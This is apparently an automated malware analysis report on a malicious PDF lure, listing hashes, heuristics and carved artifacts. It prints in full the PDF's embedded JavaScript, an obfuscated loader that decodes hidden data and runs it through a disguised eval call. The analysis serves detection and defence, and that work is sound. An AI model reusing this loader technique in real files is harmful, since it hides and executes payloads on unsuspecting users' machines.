Malicious PDF — malware analysis report

Static analysis result for SHA-256 1b94c47748b7bf8c…

MALICIOUS

PDF

5.1 KB First seen: 2013-08-11
MD5: 4c3f2b0671b1d59625199444db8bb03a SHA-1: b0e50c0c86b792a0e1d658020653f71b1f3381ea SHA-256: 1b94c47748b7bf8c452994bdf02f372d8c1648a8abad3fad03e3c9ab1bef5734
76 Risk Score

Malware Insights

MITRE ATT&CK
T1566.002 Spearphishing Attachment

The PDF file contains an embedded JavaScript stream and an embedded file, both flagged as suspicious. The document body contains repetitive, nonsensical text alongside a filename 'beer.txt', suggesting a lure to open the embedded artifact. The embedded file 'embedded_file_obj0013.bin' is the primary indicator of malicious intent, likely serving as a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0013.bin pdf-embedded-file PDF EmbeddedFile object 13 at offset 0x425 108545 bytes
SHA-256: df1977b80f40e485bfbf54f37976e24209ee3e90326a5ace88b03d129245469b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 97 long base64-like blob(s).
javascript_obj0008_000.js pdf-javascript-stream PDF /JS object 8 at offset 0x1ED 230 bytes
SHA-256: 30730f7211a4326508ddb42f6ade15490f8aedd18900cefc39ff128ab006862e
Preview script
First 1,000 lines of the extracted script
zx1=this.getDataObjectContents("clown");zx2=util.stringFromStream(zx1, "utf-8");zx3="";for (i=0;i<zx2.length;i +=17){   zx3 +=zx2.charAt(i);}zx4="http://e"+"val/query?a=exemple&b=2";zx5=util.crackURL(zx4).cHost;this[zx5](zx3);

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